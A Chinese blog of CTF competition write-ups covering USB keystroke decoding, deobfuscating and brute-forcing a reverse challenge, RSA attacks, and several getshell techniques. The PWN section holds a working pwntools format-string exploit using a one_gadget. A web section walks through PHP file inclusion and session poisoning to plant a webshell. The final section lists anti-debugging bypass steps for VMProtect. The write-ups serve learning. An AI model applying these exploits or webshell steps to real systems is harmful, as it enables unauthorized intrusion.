YuGao's Blog

HWS第七期2023夏令营选拔赛 Writeup

2023-07-29T15:30:06.000Z

暑假参加了 HWS 夏令营选拔赛，最近整理文件的时候想着记录一下。

~~其实是博客没更新太久想着更新一下~~

MISC

USB

发现 2.3.1 设备传输了很多 HID Data，用 tshark 把 HID Data dump 出来

1	./tshark.exe -r misc1.pcapng -T fields -e usbhid.data

得到很多 8 字节的数据，数据格式与 HID 键盘一样，输入报告格式详见

https://www.usbzh.com/article/detail-326.html

import argparse
import os
from tempfile import NamedTemporaryFile

BOOT_KEYBOARD_MAP = {
    0x00: (None, None),                         # Reserved (no event indicated)
    0x01: ('', ''),                             # ErrorRollOver
    0x02: ('', ''),                             # POSTFail
    0x03: ('', ''),                             # ErrorUndefined
    0x04: ('a', 'A'),                           # a
    0x05: ('b', 'B'),                           # b
    0x06: ('c', 'C'),                           # c
    0x07: ('d', 'D'),                           # d
    0x08: ('e', 'E'),                           # e
    0x09: ('f', 'F'),                           # f
    0x0a: ('g', 'G'),                           # g
    0x0b: ('h', 'H'),                           # h
    0x0c: ('i', 'I'),                           # i
    0x0d: ('j', 'J'),                           # j
    0x0e: ('k', 'K'),                           # k
    0x0f: ('l', 'L'),                           # l
    0x10: ('m', 'M'),                           # m
    0x11: ('n', 'N'),                           # n
    0x12: ('o', 'O'),                           # o
    0x13: ('p', 'P'),                           # p
    0x14: ('q', 'Q'),                           # q
    0x15: ('r', 'R'),                           # r
    0x16: ('s', 'S'),                           # s
    0x17: ('t', 'T'),                           # t
    0x18: ('u', 'U'),                           # u
    0x19: ('v', 'V'),                           # v
    0x1a: ('w', 'W'),                           # w
    0x1b: ('x', 'X'),                           # x
    0x1c: ('y', 'Y'),                           # y
    0x1d: ('z', 'Z'),                           # z
    0x1e: ('1', '!'),                           # 1
    0x1f: ('2', '@'),                           # 2
    0x20: ('3', '#'),                           # 3
    0x21: ('4', '$'),                           # 4
    0x22: ('5', '%'),                           # 5
    0x23: ('6', '^'),                           # 6
    0x24: ('7', '&'),                           # 7
    0x25: ('8', '*'),                           # 8
    0x26: ('9', '('),                           # 9
    0x27: ('0', ')'),                           # 0
    0x28: ('\n', '\n'),                         # Return (ENTER)
    0x29: ('[ESC]', '[ESC]'),                   # Escape
    0x2a: ('\b', '\b'),                         # Backspace
    0x2b: ('\t', '\t'),                         # Tab
    0x2c: (' ', ' '),                           # Spacebar
    0x2d: ('-', '_'),                           # -
    0x2e: ('=', '+'),                           # =
    0x2f: ('[', '{'),                           # [
    0x30: (']', '}'),                           # ]
    0x31: ('\\', '|'),                          # \
    0x32: ('', ''),                             # Non-US # and ~
    0x33: (';', ':'),                           # ;
    0x34: ('\'', '"'),                          # '
    0x35: ('`', '~'),                           # `
    0x36: (',', '<'),                           # ,
    0x37: ('.', '>'),                           # .
    0x38: ('/', '?'),                           # /
    0x39: ('[CAPSLOCK]', '[CAPSLOCK]'),         # Caps Lock
    0x3a: ('[F1]', '[F1]'),                     # F1
    0x3b: ('[F2]', '[F2]'),                     # F2
    0x3c: ('[F3]', '[F3]'),                     # F3
    0x3d: ('[F4]', '[F4]'),                     # F4
    0x3e: ('[F5]', '[F5]'),                     # F5
    0x3f: ('[F6]', '[F6]'),                     # F6
    0x40: ('[F7]', '[F7]'),                     # F7
    0x41: ('[F8]', '[F8]'),                     # F8
    0x42: ('[F9]', '[F9]'),                     # F9
    0x43: ('[F10]', '[F10]'),                   # F10
    0x44: ('[F11]', '[F11]'),                   # F11
    0x45: ('[F12]', '[F12]'),                   # F12
    0x46: ('[PRINTSCREEN]', '[PRINTSCREEN]'),   # Print Screen
    0x47: ('[SCROLLLOCK]', '[SCROLLLOCK]'),     # Scroll Lock
    0x48: ('[PAUSE]', '[PAUSE]'),               # Pause
    0x49: ('[INSERT]', '[INSERT]'),             # Insert
    0x4a: ('[HOME]', '[HOME]'),                 # Home
    0x4b: ('[PAGEUP]', '[PAGEUP]'),             # Page Up
    0x4c: ('[DELETE]', '[DELETE]'),             # Delete Forward
    0x4d: ('[END]', '[END]'),                   # End
    0x4e: ('[PAGEDOWN]', '[PAGEDOWN]'),         # Page Down
    0x4f: ('[RIGHTARROW]', '[RIGHTARROW]'),     # Right Arrow
    0x50: ('[LEFTARROW]', '[LEFTARROW]'),       # Left Arrow
    0x51: ('[DOWNARROW]', '[DOWNARROW]'),       # Down Arrow
    0x52: ('[UPARROW]', '[UPARROW]'),           # Up Arrow
    0x53: ('[NUMLOCK]', '[NUMLOCK]'),           # Num Lock
    0x54: ('[KEYPADSLASH]', '/'),               # Keypad /
    0x55: ('[KEYPADASTERISK]', '*'),            # Keypad *
    0x56: ('[KEYPADMINUS]', '-'),               # Keypad -
    0x57: ('[KEYPADPLUS]', '+'),                # Keypad +
    0x58: ('[KEYPADENTER]', '[KEYPADENTER]'),   # Keypad ENTER
    0x59: ('[KEYPAD1]', '1'),                   # Keypad 1 and End
    0x5a: ('[KEYPAD2]', '2'),                   # Keypad 2 and Down Arrow
    0x5b: ('[KEYPAD3]', '3'),                   # Keypad 3 and PageDn
    0x5c: ('[KEYPAD4]', '4'),                   # Keypad 4 and Left Arrow
    0x5d: ('[KEYPAD5]', '5'),                   # Keypad 5
    0x5e: ('[KEYPAD6]', '6'),                   # Keypad 6 and Right Arrow
    0x5f: ('[KEYPAD7]', '7'),                   # Keypad 7 and Home
    0x60: ('[KEYPAD8]', '8'),                   # Keypad 8 and Up Arrow
    0x61: ('[KEYPAD9]', '9'),                   # Keypad 9 and Page Up
    0x62: ('[KEYPAD0]', '0'),                   # Keypad 0 and Insert
    0x63: ('[KEYPADPERIOD]', '.'),              # Keypad . and Delete
    0x64: ('', ''),                             # Non-US \ and |
    0x65: ('', ''),                             # Application
    0x66: ('', ''),                             # Power
    0x67: ('[KEYPADEQUALS]', '='),              # Keypad =
    0x68: ('[F13]', '[F13]'),                   # F13
    0x69: ('[F14]', '[F14]'),                   # F14
    0x6a: ('[F15]', '[F15]'),                   # F15
    0x6b: ('[F16]', '[F16]'),                   # F16
    0x6c: ('[F17]', '[F17]'),                   # F17
    0x6d: ('[F18]', '[F18]'),                   # F18
    0x6e: ('[F19]', '[F19]'),                   # F19
    0x6f: ('[F20]', '[F20]'),                   # F20
    0x70: ('[F21]', '[F21]'),                   # F21
    0x71: ('[F22]', '[F22]'),                   # F22
    0x72: ('[F23]', '[F23]'),                   # F23
    0x73: ('[F24]', '[F24]'),                   # F24
    0x74: ('', ''),                             # Execute
    0x75: ('', ''),                             # Help
    0x76: ('', ''),                             # Menu
    0x77: ('', ''),                             # Select
    0x78: ('', ''),                             # Stop
    0x79: ('', ''),                             # Again
    0x7a: ('', ''),                             # Undo
    0x7b: ('', ''),                             # Cut
    0x7c: ('', ''),                             # Copy
    0x7d: ('', ''),                             # Paste
    0x7e: ('', ''),                             # Find
    0x7f: ('', ''),                             # Mute
    0x80: ('', ''),                             # Volume Up
    0x81: ('', ''),                             # Volume Down
    0x82: ('', ''),                             # Locking Caps Lock
    0x83: ('', ''),                             # Locking Num Lock
    0x84: ('', ''),                             # Locking Scroll Lock
    0x85: ('', ''),                             # Keypad Comma
    0x86: ('', ''),                             # Keypad Equal Sign
    0x87: ('', ''),                             # International1
    0x88: ('', ''),                             # International2
    0x89: ('', ''),                             # International3
    0x8a: ('', ''),                             # International4
    0x8b: ('', ''),                             # International5
    0x8c: ('', ''),                             # International6
    0x8d: ('', ''),                             # International7
    0x8e: ('', ''),                             # International8
    0x8f: ('', ''),                             # International9
    0x90: ('', ''),                             # LANG1
    0x91: ('', ''),                             # LANG2
    0x92: ('', ''),                             # LANG3
    0x93: ('', ''),                             # LANG4
    0x94: ('', ''),                             # LANG5
    0x95: ('', ''),                             # LANG6
    0x96: ('', ''),                             # LANG7
    0x97: ('', ''),                             # LANG8
    0x98: ('', ''),                             # LANG9
    0x99: ('', ''),                             # Alternate Erase
    0x9a: ('', ''),                             # SysReq/Attention
    0x9b: ('', ''),                             # Cancel
    0x9c: ('', ''),                             # Clear
    0x9d: ('', ''),                             # Prior
    0x9e: ('', ''),                             # Return
    0x9f: ('', ''),                             # Separator
    0xa0: ('', ''),                             # Out
    0xa1: ('', ''),                             # Oper
    0xa2: ('', ''),                             # Clear/Again
    0xa3: ('', ''),                             # CrSel/Props
    0xa4: ('', ''),                             # ExSel
    0xa5: ('', ''),                             # Reserved
    0xa6: ('', ''),                             # Reserved
    0xa7: ('', ''),                             # Reserved
    0xa8: ('', ''),                             # Reserved
    0xa9: ('', ''),                             # Reserved
    0xaa: ('', ''),                             # Reserved
    0xab: ('', ''),                             # Reserved
    0xac: ('', ''),                             # Reserved
    0xad: ('', ''),                             # Reserved
    0xae: ('', ''),                             # Reserved
    0xaf: ('', ''),                             # Reserved
    0xb0: ('', ''),                             # Keypad 00
    0xb1: ('', ''),                             # Keypad 000
    0xb2: ('', ''),                             # Thousands Separator
    0xb3: ('', ''),                             # Decimal Separator
    0xb4: ('', ''),                             # Currency Unit
    0xb5: ('', ''),                             # Currency Sub-unit
    0xb6: ('', ''),                             # Keypad (
    0xb7: ('', ''),                             # Keypad )
    0xb8: ('', ''),                             # Keypad {
    0xb9: ('', ''),                             # Keypad }
    0xba: ('', ''),                             # Keypad Tab
    0xbb: ('', ''),                             # Keypad Backspace
    0xbc: ('', ''),                             # Keypad A
    0xbd: ('', ''),                             # Keypad B
    0xbe: ('', ''),                             # Keypad C
    0xbf: ('', ''),                             # Keypad D
    0xc0: ('', ''),                             # Keypad E
    0xc1: ('', ''),                             # Keypad F
    0xc2: ('', ''),                             # Keypad XOR
    0xc3: ('', ''),                             # Keypad ^
    0xc4: ('', ''),                             # Keypad %
    0xc5: ('', ''),                             # Keypad <
    0xc6: ('', ''),                             # Keypad >
    0xc7: ('', ''),                             # Keypad &
    0xc8: ('', ''),                             # Keypad &&
    0xc9: ('', ''),                             # Keypad |
    0xca: ('', ''),                             # Keypad ||
    0xcb: ('', ''),                             # Keypad :
    0xcc: ('', ''),                             # Keypad #
    0xcd: ('', ''),                             # Keypad Space
    0xce: ('', ''),                             # Keypad @
    0xcf: ('', ''),                             # Keypad !
    0xd0: ('', ''),                             # Keypad Memory Store
    0xd1: ('', ''),                             # Keypad Memory Recall
    0xd2: ('', ''),                             # Keypad Memory Clear
    0xd3: ('', ''),                             # Keypad Memory Add
    0xd4: ('', ''),                             # Keypad Memory Subtract
    0xd5: ('', ''),                             # Keypad Memory Multiply
    0xd6: ('', ''),                             # Keypad Memory Divide
    0xd7: ('', ''),                             # Keypad +/-
    0xd8: ('', ''),                             # Keypad Clear
    0xd9: ('', ''),                             # Keypad Clear Entry
    0xda: ('', ''),                             # Keypad Binary
    0xdb: ('', ''),                             # Keypad Octal
    0xdc: ('', ''),                             # Keypad Decimal
    0xdd: ('', ''),                             # Keypad Hexadecimal
    0xde: ('', ''),                             # Reserved
    0xdf: ('', ''),                             # Reserved
    0xe0: ('', ''),                             # Left Control
    0xe1: ('', ''),                             # Left Shift
    0xe2: ('', ''),                             # Left Alt
    0xe3: ('', ''),                             # Left GUI
    0xe4: ('', ''),                             # Right Control
    0xe5: ('', ''),                             # Right Shift
    0xe6: ('', ''),                             # Right Alt
    0xe7: ('', ''),                             # Right GUI
}

CAPSLOCK = False # 大写状态

def parse_boot_keyboard_report(data: bytearray):
    global CAPSLOCK
    # 数据解析
    modifiers = data[0] # 修改键字节
    keys = data[2:8] # 键码字节

    # 将修改键字节中的位解码为按键修饰符
    ctrl = (modifiers & 0x11) != 0
    shift = (modifiers & 0x22) != 0
    alt = (modifiers & 0x44) != 0
    gui = (modifiers & 0x88) != 0

    # 解析键码字节并将其映射为字符
    characters = []
    for key in keys:
        if key != 0:
            # 键码不为0则查询映射表
            if key in BOOT_KEYBOARD_MAP:
                if key >= 0x04 and key <= 0x1d: # 是字母
                    characters.append(BOOT_KEYBOARD_MAP[key][CAPSLOCK ^ shift])
                elif key == 0x39:
                    CAPSLOCK = not CAPSLOCK
                else:
                    characters.append(BOOT_KEYBOARD_MAP[key][shift])
            else:
                characters.append(None)
    return (ctrl, shift, alt, gui, characters)


def help_formatter(prog):
    return argparse.HelpFormatter(prog, max_help_position=40)


def main():
    # 解析命令行参数
    parser = argparse.ArgumentParser(
      description='Parse keyboard report data and output as text',
      formatter_class=help_formatter)
    parser.add_argument('pcapng_file', help='path to the pcapng file')
    args = parser.parse_args()

    tmpfile = NamedTemporaryFile(delete=False)
    tmpfile.close()

    command = "tshark -r %s -T fields -e usbhid.data -e usb.capdata > %s" % 
      (args.pcapng_file, tmpfile.name)
    os.system(command)

    with open(tmpfile.name, 'r') as f:
        lines = f.readlines()

    os.unlink(tmpfile.name)

    # 解析键盘数据包，获取输入字符
    text = ""
    last_characters_count = {}
    repeat_limit = 2
    for line in lines:
        capdata = line.strip().replace(':', '')
        if capdata:
            data = bytearray.fromhex(capdata)
            characters = parse_boot_keyboard_report(data)[-1]
            if not characters:
                last_characters_count = {}
            else:
                for character in characters:
                    if character:
                        last_characters_count = {character: count for character,
                                                count in last_characters_count.items() if character in characters}
                        if character in last_characters_count:
                            last_characters_count[character] += 1
                            if last_characters_count[character] <= repeat_limit:
                                continue
                        else:
                            last_characters_count[character] = 1
                        text += character
        else:
            pass

    raw_text = repr(text)
    print(f'Raw output:\n{raw_text}')
    print(f'Text output:\n{text}')


if __name__ == "__main__":
    main()

得到 Ao(mgHY$\A@Q7gW2D$dE@6#oO0f

扔到 CyberChef 里发现是 Base85，解出 flag

flag{ec1b8b96-56a9-f15c-4e39-503e92ab45d2}

`REVERSE`

`Animals`

ida 无法直接反编译，发现存在花指令，以及 ptrace 反调试

直接 gdb 里 catch syscall ptrace，然后在快 ret 的时候，set $rax=0 即可绕过 ptrace

然后混淆主要由两种花指令构成：

jz、jnz 组合跳转 + 垃圾代码中使用 call 来打乱 ida 分析
jnz、jmp 组合，jnz 永真跳转

把这两种指令修了，该 nop 的 nop 掉：

start_add = 0x400800
end_add = 0x406e22
for i in range(start_add, end_add):
    if get_wide_dword(i) == 0x08750a74:
        patch_dword(i, 0x90909090)
        patch_dword(i + 4, 0x90909090)
        patch_dword(i + 8, 0x90909090)
    elif get_wide_dword(i) == 0x13751574:
        patch_dword(i, 0x90909090)
        patch_dword(i + 4, 0x90909090)
        patch_dword(i + 8, 0x90909090)
        patch_dword(i + 12, 0x90909090)
        patch_dword(i + 16, 0x90909090)
        patch_word(i + 20, 0x9090)
        patch_byte(i + 22, 0x90)

然后发现 main 函数还是不能直接反编译，把 main 到 init 之间的汇编全部 undefine 掉，然后重新创建函数即可，恢复出来的反编译代码还是比较清晰的

代码逻辑是根据 9 个输入把字符串拼接起来作为明文，然后用 start_routine 函数去把真正的密文解出来

后面跟着的几个函数把 key 解出来然后用 sub_4011E0 对明文进行加密

sub_4011E0 先用 sub_405E00 处理明文，然后进行了一大堆操作

把密文 dump 出来：

pwndbg> x /32xb 0x608090
0x608090:       0xdd    0xb2    0x6d    0xf3    0xe6    0x0a    0xc7    0x83
0x608098:       0x4a    0x93    0x50    0xb4    0xa4    0x59    0xab    0x0e
0x6080a0:       0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x6080a8:       0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00

放弃直接逆向了，考虑到所有可能的输入规模才 6^9，把 sub_4011E0 直接复制出来，暴力枚举得到输入 051410233

#include 
#include 
#include 

unsigned int enc[] = {0x0F36DB2DD, 0x83C70AE6, 0x0B450934A, 0x0EAB59A4};
char *s[] = {"cat", "dog", "fox", "panda", "dragon", "monkey"};
unsigned char str[128];
int len, input[10];
unsigned int pt[16];
void gen() {
  memset(str, 0, sizeof(str));
  memset(pt, 0, sizeof(pt));
  for (int i = 0; i < 9; i++) {
    len = strlen(s[input[i]]);
    strncat(str, s[input[i]], len);
  }
  len = strlen(str);
  str[len] = 0x80;
  int cnt = 0;
  for (int i = 0; i <= len + 6; i += 4) {
    for (int j = 0; j < 4; j += 1) pt[cnt] |= str[i + j] << (j << 3);
    cnt++;
  }
  pt[14] = 8 * len;
}
unsigned int std[] = {0x0EFCDAB89, 0x67452301, 0x10325476, 0x98BADCFE};
unsigned int ct[4], key[4];
void encrypt() { // sub_4011E0
  memcpy(ct, std, sizeof(std));
  memcpy(key, std, sizeof(std));
  ......
  ct[0] += key[0];
  ct[1] += key[1];
  ct[2] += key[2];
  ct[3] += key[3];
}
void dfs(int p) {
  if (p > 8) {
    gen();
    encrypt();
    int flag = 1;
    for (int i = 0; i < 4; ++i) flag &= enc[i] == ct[i];
    if (flag) {
      puts("[+] Input Found :");
      for (int i = 0; i < 9; ++i) printf("%d", input[i]);
      puts("");
      exit(0);
    }
    return;
  }
  for (int i = 0; i < 6; ++i) {
    input[p] = i;
    dfs(p + 1);
  }
}
int main() { dfs(0); }

根据代码提示 flag{md5(input)} 得到 flag{839c998c52db6618bb24c346b85a894f}

在网上还看见有师傅直接在标准输入输出流里爆破的：

from itertools import product
from subprocess import Popen, PIPE

# 创建迭代器
char_set = "012345"
char_length = 9
all_combinations = product(char_set, repeat=char_length)

# 遍历组合并发送给进程
for combination in all_combinations:
    inp = "".join(combination)
    p = Popen('./main', stdin=PIPE, stdout=PIPE, stderr=PIPE, shell=True)
    # 发送输入
    for i in inp:
        p.stdin.write(i.encode()+b'\n')
        #print(i.encode())
    p.stdin.close()

    # 接收输出
    res = p.stdout.read()
    # print(res.decode('utf-8'))
    res = res.decode('utf-8')
        
    # 检查是否包含flag
    if b'flag' in res:
        print(inp)
        break

`PWN`

`fmt`

拿到题先 checksec，发现保护全开

再看代码逻辑，内容非常简单就是两次格式化字符串

第一次先泄露出 __libc_start_main_ret 和栈基址

动调得知 __libc_start_main_ret 是 __libc_start_main + 243，拿到 libc 基址

由于保护全开，第二次利用想到 one_gadget

$ one_gadget ./libc-2.31.so    
0xe3afe execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL

拿到 one_gadget 以后，要想办法把返回地址改成 gadget

但是地址太大一次不好写，又因为 __libc_start_main_ret 和 gadget 高位相同，因此可以只取 gadget 的低 6 位，然后再把低 6 位拆成 2 位和 4 位写入内存中

from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'

def lg(s, addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m' % (s, addr))

# io = process('./fmt')
io = remote('123.60.179.52', 30223)
libc = ELF('./libc.so.6')

# gdb.attach(io, 'b*$rebase(0x13af)')
io.sendlineafter('str: ', '%21$p%18$p')
io.recvuntil('0x')
leak_libc = int(io.recv(12), 16)
io.recvuntil('0x')
leak_stack = int(io.recv(12), 16)

lg('leak_stack', leak_stack)
libc_base = leak_libc - (libc.sym['__libc_start_main'] + 243)

gadget = [0xe3afe, 0xe3b01, 0xe3b04]

target = (libc_base + gadget[1]) % 0x1000000

low = target % 0x10000
high = target // 0x10000
lg('target', target)
lg('low', low)
lg('high', high)

payload = b'%' + str(high).encode() + b'c%11$hhn'
payload += b'%' + str(low - high).encode() + b'c%10$hn'
payload = payload.ljust(32, b'a')
payload += p64(leak_stack + 8) + p64(leak_stack + 10)
print(payload)
io.sendlineafter('str: ', payload)
io.interactive()

`CRYPTO`

`RSA`

由所给代码可知： $N = p^7 * q$ ， $phi = p^6 * (p-1) * (q-1)$ 。

e_1 * d_1 \equiv 1 \pmod{phi}

e_2 * d_2 \equiv 1 \pmod{phi}

d_1 + x = d_2

e_2 * (d_1 + x) \equiv 1 \pmod{phi}

e_1 * e_2 * (d_1 + x) \equiv e_1 \pmod{phi}

e_1 * e_2 * x + e_1 - e_2 = 0

参照一下论文：https://eprint.iacr.org/2015/399.pdf

e_1 * e_2 * x + e_1 - e2 \equiv 0 \pmod{p^6}

g(x) = x - x' \equiv 0 \pmod{p^6}

x' = (e_2 - e_1) * ((e_1 * e_2)^{-1})

coppersmith 解出 $x$ ，之后就正常解即可

这好像还是强网杯的原题（

# sagemath
from Crypto.Util.number import *
from gmpy2 import *

N = 26989781630503676259502221325791347584607522857769579575297691973258919576768826427059198152035415835627885162613470528107575781277590981314410130242259476764500731263549070841939946410404214950861916808234008589966849302830389937977667872854316531408288338541977868568209278283760692866116947597445559763998608870359453835826711179703215320653445704522573070650642347871171425399227090705774976383452533375854187754721093890020986550939103071021619840797519979671188117673303672023522910200606134989916541289908538417562640981839074992935652363458747488201289997240226553340491203815779083605965873519144351105635977
c = 15608493359172313429111250362547316415137342033261379619116685637094829328864086722267534755459655689598026363165606700718051739433022581810982230521098576597484850535770518552787220173105513426779515790426303985414120033452747683669501078476628404455341179818932159581239994489678323564587149645006231756392148052557984581049067156468083162932334692086321511063682574943502393749684556026493316348892705114791740287823927634401828970155725090197482067045119003108806888768161101755244340832271562849138340706213702438667804460812804485276133545408754720942940596865774516864097546006862891145251661268265204662316437
e = 65537
e1 = 8334176273377687778925968652923982846998724107624538105654894737480608040787164942908664678429487595866375466955578536932646638608374859799560790357357355475153852315429988251406716837806949387421402107779526648346112857245251481791000156326311794515247012084479404963628187413781724893173183595037984078029706687141452980915897613598715166764006079337996939237831127877822777298891345240992224457502307777453813403723860370336259768714433691700008761598135158249554720239480856332237245140606893060889458298812027643186014638882487288529484407249417947342798261233371859439003556025622531286607093086262182961900221
e2 = 22291783101991466901669802811072286361463259096412523019927956845014956726984633944311563809077545336731345629003968417408385538540199052480763352937138063001691494078141034164060073208592072783644252721127901996835233091410441838546235477819239598146496144359952946239328842198897348830164467799618269341456666825968971193729838026760012332020223490546511437879465268118749332615890600046622926159177680882780495663448654527562370133394251859961739946007037825763819500955365636946510343942994301809125029616066868596044885547005547390446468651797783520279531291808102209463733268922901056842903640261702268483580079

r = 7
a = (e2 - e1) * invert(e1 * e2, N) % N
# assert a < N
P. = PolynomialRing(Zmod(N))
f = x - a
x = f.small_roots(X=2^675, beta=0.65625)
x = x[0]
k_phi = e1 * e2 * x - (e2 - e1)
p_k = gcd(int(k_phi), N)

p = gmpy2.iroot(int(p_k), r - 1)[0]
q = N // (p**r)
n = p * q
phi_n = (p - 1) * (q - 1)
d = invert(e, phi_n)
m = int(pow(c, d, n))
print(long_to_bytes(m))

`random`

由所给代码，我们可以通过爆破 $base$ 去得到和 $n$ 对应的素数列表，然后去得到素数对应的系数

根据多素数RSA系统的计算方式得到 $phi$ ，但是这题的 $e$ 和 $phi$ 是不互素的

设 $e$ 和 $phi$ 的最大公约数为 $g$ ，推导如下：

e'=e // g

d'=e'^{-1}

此时有：

(m^g)^{e'} \equiv c \pmod{n}

m^g \equiv c^{d'} \pmod{n}

如果 $m^g$ ，我们可以考虑直接开根得到 $m$ ，但在这里 $g=108$ ，且 $m$ 经过 padding 与 $n$ 同级

因此考虑在有限域上开根然后再 CRT 组合爆破得到 flag：

m^g \equiv c^{d'_1} \pmod{p_1}

m^g \equiv c^{d'_2} \pmod{p_2}

\vdots

m^g \equiv c^{d'_i} \pmod{p_i}

完整脚本如下：

from Crypto.Util.number import *
from gmpy2 import *
import itertools

n = 255550794734774347335455038653204099810524562323968101081052744238324333979282590769066826059535810339765419405089707653972316828518446466787073982991340735273047955757161722774546888128720663627716647123110956021905275918358574092054477588935546729192812379266210918802470144452212508255209922150559524376661512464064852413804511191503030046546647554981646983220695416838829085308878177824361071544916728725428437436959573167863053126718594118224053088660739173865895266537548733106779437480905737491231720771570860988017959907437998012442781279100256862684919251885437194156545435396952798548033193683684362049646718627530076461463826459504520525895649547513376441325848313193080013281816762156916219271109726593135112626577858906494025788770088106285316571255392298608980679161123528759865796345121056864973189231253364595956642612401745212207858555858704724770456899071144650909246822311039572915447866615638976747716646382091135281119109866295649034560378368202797914202112090339159898226929176034503535419893300159083361891627300767030933209665917744361038219820997348160094737332979677839131999258559999565207302339242257832022939036526481610130970477187338439181123984340269665409009894192138483254592729253191096427332283419085864095600303323775372526431524911842065699875575955728772820558157791292247976982470646890930951250598649964200733076634093613078091713383782021194766013790646324780327618195433827227105459480409797466859653960886570869469172506894631937612508518886406112758352094014377947728184352908630672750330561369500089138179794848896959683336195170519521
e = 57564
c = 29259244746260903447574448389058952310000390135231599667104954615635954705912759181552349897154663199516384757779582324312559110410628822220097857204989378367616522573650610718867075518776621505865327181301059226036067398269476892575801933638458560523584293063843890012581096233699743704556897984235725492806550009731913445801481786988321848320254380607620726887530437151238556482879159888862341096974129499878601309077513908335631417136332585391767849651968095851808312565329858938394084369711172343300695636449663297542069122814607488273607842533010193498547579501368165500427762712900139188279259336486273788664239339542187191374015805659616093967428577968683677885747775540903578723024681500272919689849253480672194507905399890280339044782040395397922973935735424691828624724029439840506402735626398047317544972966643810550593849196291833043243448655939654884418027006572740130515844853007135331296523599052132266288322473865775521953742444721612389547052020839760259179074124960827686670217980159612966767064088131176654212504654177367329044762238432531402899949096987765334061101859346928585114984440559379578507872401025874782849854603895110182401204202962118890563473961321104811452539667609870771280348801335004559132482743318366689808669972965573335905879806817618597010442262336079838039317609336210571773187461470707420797827741277982208089496339300646565067740673242728353659143107970717482392927903021102141779217003523105389389513154792904745687959335115429159530013641777064904216646895961910784920181748841104318013067029395394948190384737300533803009402182800702

p = []
fi = False
for i in range(128, 257):
    base = 1 << i
    t = next_prime(base + 1)
    while (t <= base + 500000):
        if n % t == 0:
            p.append(t)
            fi = True
        t = next_prime(t)
    if fi:
        break
print("[+] Find primes")

k = []
for x in p:
    num = 0
    t = n
    while t % x == 0:
        t //= x
        num += 1
    k.append(num)

phi = 1
for i in range(len(p)):
    phi *= pow(p[i], k[i] - 1) * (p[i] - 1)
pk_phi = []
for i in range(len(p)):
    pk_phi.append(p[i] ** (k[i] - 1) * (p[i] - 1))
    p[i] = p[i] ** k[i]
print("[+] Get phi")

g = gcd(e, phi)
print("[+] The gcd of e and phi is:", g)

res = []
for i in range(len(p)):
    d = inverse(int(e // g), pk_phi[i])
    m = pow(c, d, p[i])
    res.append(Zmod(p[i])(m).nth_root(g, all=True))

for vc in itertools.product(*res):
    _c = [int(x) for x in vc]
    m = long_to_bytes(int(crt(_c, p)))
    if b"flag" in m:
        print("[+] Find flag:")
        print(m)
        break



领航杯江苏省赛 2022 Linkgame
2023-04-08T09:43:55.000Z
整理文件的时候发现自己还写过这个比赛的 WP，大部分是水题就不搬了，留一道有意思的题记录一下吧。
题目有点久远了，具体内容也忘得差不多了，也没有配套的图片，就将就着看吧（
在首页点击帮助，发现 url 里有 file 参数，我记得是包含了一个 txt 文件。
于是可以用 php 伪协议读取源码（列出关键部分）：
1
2
3
4
5
6
7
8
9
10
11
12
13

if (isset($_GET['name'])) {
    $_SESSION['name'] = base64_encode($_GET['name']);
}

if (empty($_SESSION['name'])) {
    $_SESSION['name'] = base64_encode('me');
}
?>
 if (isset($_GET['file'])) {
    include($_GET['file']);
}
?>
可以看到 session 是可控的，可以考虑包含 session 来实现 getshell。
如果自定义的话，php 的 session 文件的保存路径可以在 phpinfo 的 session.save_path 看到。
常见的存放位置（路径 + 文件名）：
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
而 PHPSESSID 在发送的请求的 cookie 字段中可以看到。
回到本题，虽然 username 看似被 BASE64 编码了，但是可以通过 php 伪协议来获取解码后的数据，现在唯一问题是如何解决 session 文件格式导致的解码失败问题。
我们先来了解一下 BASE64 编码格式，从一个字符串到 BASE64 编码需要这么几步（以 ab 为例）：
转成 ascii 码：97 98
转成对应 8 位二进制：01100001 01100010
每组 6 位重分组：011000 010110 0010
分组长度不够末尾补零：011000 010110 001000
每组对应转为十进制：24 22 8
查表得：YWI
末尾补零结尾填充 =：YWI=
最后一个 6 位的 BASE64 字节块补四位零，最后附加上两个等号；补两位零，最后附加一个等号。
然后参考 session 文件格式，可以得知 session 文件内容一定形如 username|s::""，想办法将 username|s::" 填充为正好能被完全分组的形式。
设 BASE64 字串长度的位数为  $x$ ，解码时  $x$  满足  $(x + 13) \times 6 \equiv 0 \pmod 8$ ，取  $x = 3$ ，即 BASE64 字串的长度大于 100。
由 BASE64 编码的特点，密文和原文的长度比约为 4/3，取 payload "a" * 60 + "" 即可满足，此时密文长度为 120。
通过 ?name= 写入 session 文件，用 ?file= 文件包含，然后蚁剑用密码 cmd 连接即可 getshell。


HWS第六期2023冬令营选拔赛 Writeup
2023-03-29T07:14:01.000Z
寒假参加了 HWS 冬令营选拔赛，最近整理文件的时候想着记录一下。
整体比赛难度不大，水了个第十名，主要大佬们都去参加 Real World CTF 了，只有我还在这里摸爬滚打 /(ㄒoㄒ)/~~
MISC
sound from somewhere
听了下音频一眼 SSTV，直接就出了。
can not speak
比赛的时候都根据教程绕过反调试了，但是还是做不下去。
结果比赛比完和我说有非预期，过反调试就能直接在内存里搜索到 flag？而且比赛出题人复现不出正解，真是服了。
首先 DIE 查一下发现是 VMP 壳，这玩意网上都没啥解决方案，只能尝试过反调试。
以下内容均只为步骤搬运，大部分不了解原理，就看着图一乐吧。
把 PEB 调试位清空：
把 gs:[60] 和 gs:[60]+bc 置零
下软件条件断点：
NtQueryInformationProcess -> rdx == 0x07 || rdx == 0x1E
NtSetInformationThread -> rdx == 0x11
NtQueryInformationProcess 断点命中前一个条件就把 r8 <- 0
运行直至 rdx == 0x1E, 将 r8 <- 0，然后运行到返回，rax <- C0000353
NtSetInformationThread 命中后把 rdx <- 3
禁用软件断点，启用硬件条件断点：
NtClose -> rcx == 0xDEADC0DE
NtQuerySystemInformation -> rcx == 0x23
选择无视异常运行
